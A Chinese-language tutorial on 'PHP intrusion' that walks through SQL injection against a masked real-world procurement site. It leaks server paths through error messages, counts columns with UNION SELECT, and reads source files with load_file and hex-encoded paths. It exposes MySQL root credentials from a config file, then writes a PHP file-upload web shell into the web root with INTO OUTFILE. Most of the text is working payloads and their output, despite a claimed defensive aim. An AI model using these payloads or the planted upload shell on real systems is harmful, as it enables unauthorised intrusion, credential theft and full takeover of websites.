實例講解PHP入侵
PHP入侵是一種黑客比較常用的入侵方式,PHP入侵的操作簡單和效果初中是其廣為流傳的原因。今天我們就通過一次簡單的PHP入侵來看一下PHP入侵的全過程,其目的是為了企業(yè)安全管理員能夠洞悉PHP入侵技術(shù),提高安全防護水平。
測試站點如下
http://www.******.com
找個踩點
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830
提交一個 '
返回結(jié)果
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in
/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 135
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in
/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 140
Warning: mysql_result(): supplied argument is not a valid MySQL result resource in
/var/www/html/zhaobiao/zhaobiao_hy_show.php on line 154
路徑出來了,繼續(xù)安檢.
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830'and 1=1 #
返回錯誤,不是字符型.
注明:%23是#
提交 and 1=1 返回正常
提交 and 1=2 返回不正常
接下來就是 union 語句
and 1=1 union select 1 返回不正常
and 1=1 union select 1,2 返回不正常
and 1=1 union select 1,2,3 返回不正常
and 1=1 union select 1,2,3,4 返回不正常
and 1=1 union select 1,2,3,4,5 返回不正常
and 1=1 union select 1,2,3,4,5,6 返回不正常
and 1=1 union select 1,2,3,4,5,6,7 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 返回不正常
and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 返回正常
猜到 14 就正常了 繼續(xù)PHP入侵的下一步.
一般這樣的站點基本上后臺是不可能那么容易讓我們找到的..
還是先看看有沒有再說吧..
猜猜常用的路徑.
login.php
admin.php
admin_login.php
admin_index.php
admin/login.php
admin/admin.php
admin/admin_login.php
admin/admin_index.php
manage/index.php
manage/login.php
manage/admin_login.php
manage/admin_index.php
等等.有耐心的可以慢慢去猜.就算猜到了也沒什么用.
我們還是用比較直接的方法吧.直接用 load_file 讀取文件內(nèi)容
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
里面的 and 1=1 變成 and 1=2
返回結(jié)果如下:
2
就在2的位置暴了我們需要的文件內(nèi)容.
我們就從 /var/www/html/zhaobiao/zhaobiao_hy_show.php
直接用 load_fi
le('/var/www/html/zhaobiao/zhaobiao_hy_show.php')
前提是要把 /var/www/html/zhaobiao/zhaobiao_hy_show.php 轉(zhuǎn)換成 16 進制
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,load_file
0x2F7661722F7777772F68746D6C2F7A68616F6269616F2F7A68616F6269616F5F68795F73
686F772E706870),3,4,5,6,7,8,9,10,11,12,13,14
返回結(jié)果
- 0 or $regdate>mysql_result($query,0,'yxdate')){?>
- ",mysql_result($query,0,'sm'));?>
不要管這些,直接查看源文件找到了一個 inc.php 的文件 然后配合前面的路徑
/var/www/html/inc.php
http://www.******.com/zhaobiao/zhaobiao_hy_show.php?id=149830 and 1=2 union select 1,load_file
(0x2F7661722F7777772F68746D6C2F696E632E706870),3,4,5,6,7,8,9,10,11,12,13,14
暴一下 返回看不到內(nèi)容 直接查看源文件
- <?
- $myconn=mysql_connect('localhost','root','www.******.comy0p5h1i0');
- mysql_select_db('mlk');
- ?>
Mysql 直接暴出來了..
下一步就是登陸 Mysql 然后插入自己準備好的小馬..
- use mlk;
- create table mmxy (cmd TEXT);
- insert into mmxy values('<?php');
- insert into mmxy values('$msg = copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]) ? "Successful" : "failure";');
- insert into mmxy values('echo $msg;');
- insert into mmxy values('?>');
- insert into mmxy values('<form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST">');
- insert into mmxy values('<input NAME="MyFile" TYPE="file">');
- insert into mmxy values('<input VALUE="Up" TYPE="submit"></form>');
- select * from mmxy into outfile '/var/www/html/zhaobiao/mmxy.php';
【編輯推薦】